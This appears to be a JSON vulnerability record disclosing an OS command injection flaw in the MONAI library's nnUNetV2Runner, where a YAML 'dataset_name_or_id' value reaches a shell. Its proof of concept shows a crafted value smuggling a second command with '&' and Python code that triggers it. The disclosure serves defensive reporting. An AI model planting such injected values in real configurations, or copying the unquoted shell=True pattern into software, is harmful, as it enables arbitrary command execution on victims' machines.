{"id":"GHSA-rghg-q7wp-9767","aliases":[],"url":"https://o3.security/vulnerability/GHSA-rghg-q7wp-9767","summary":"MONAI vulnerable to OS command injection","details":"### Comment from JPCERT/CC\nWe are submitting the report again as we have yet to receive\nany responses from you after submitting it on February 5 and March 11.\n\nIt would be greatly appreciated if you could send us a message\nafter confirming it so that we can follow up the case by email.\n\n### Summary\nMONAI vulnerable to OS command injection.\n\n### Details\nThis library concatenates user-controlled values (YAML's\n\"dataset_name_or_id\" or part of \"CLI/kwargs\")\nwithout quoting or validation. Since this string is passed to subprocess\nwith shell=True,\nshell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.\n\nAs a result, arbitrary commands can be concatenated and executed.\nTherefore, the reporter identifies this as CWE-78 (OS Command Injection).\n\nThe victim needs to load a crafted YAML file in the code that launches\ntraining/validation jobs\nbased on the configuration (YAML/arguments). There are no other constraints.\n\n### PoC\nVerified on Windows.\nLoad a modified YAML file with crafted \"dataset_name_or_id\" as follows.\nAdd command separator characters (such as & or ;) and insert arbitrary\ncommands.\n\ndataset_name_or_id: '4 & echo \"This is exploited\" >\n\"C:\\Users\\shima\\OneDrive\\Desktop\\tmp\\test.txt\" & rem'\ndataroot: C:/Users/shima/OneDrive/Desktop/tmp/data\ndatalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json\nwork_dir: C:/Users/shima/OneDrive/Desktop/tmp/work\nnnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw\nnnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed\nnnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results\n\nAs a victim, verify running the following Python code to load and\nprocess the YAML file.\n\nfrom monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner\nfrom pathlib import Path\n#Path of the crafted YAML file\nYAML = r\"C:\\Users\\shima\\OneDrive\\Desktop\\tmp\\test.yaml\"\n#Text file overwritten when command executes\nOUT  = Path(r\"C:\\Users\\shima\\OneDrive\\Desktop\\tmp\\test.txt\")\n#Read YAML\nrunner = nnUNetV2Runner(input_config=YAML,\ntrainer_class_name=\"nnUNetTrainer\")\nrunner.train_single_model(config=\"3d_fullres\", fold=0, gpu_id=0)\n#Verify command execution\nprint(\"Result:\", OUT.read_text(encoding=\"utf-8\").strip())\n\nAlso, see the attached file.\n[JVN#50379904-details.zip](https://github.com/user-attachments/files/26231614/JVN.50379904-details.zip)","published":"2026-08-18T20:22:38Z","modified":"2026-08-18T20:30:07.345638079Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"monai","fixedVersion":"1.6.0"}],"fix":{"url":"https://github.com/Project-MONAI/MONAI/pull/8885","label":"Project-MONAI/MONAI#8885"},"references":[{"type":"WEB","url":"https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-rghg-q7wp-9767"},{"type":"WEB","url":"https://github.com/Project-MONAI/MONAI/pull/8885"},{"type":"PACKAGE","url":"https://github.com/Project-MONAI/MONAI"},{"type":"WEB","url":"https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-18T20:30:07.345638079Z"}}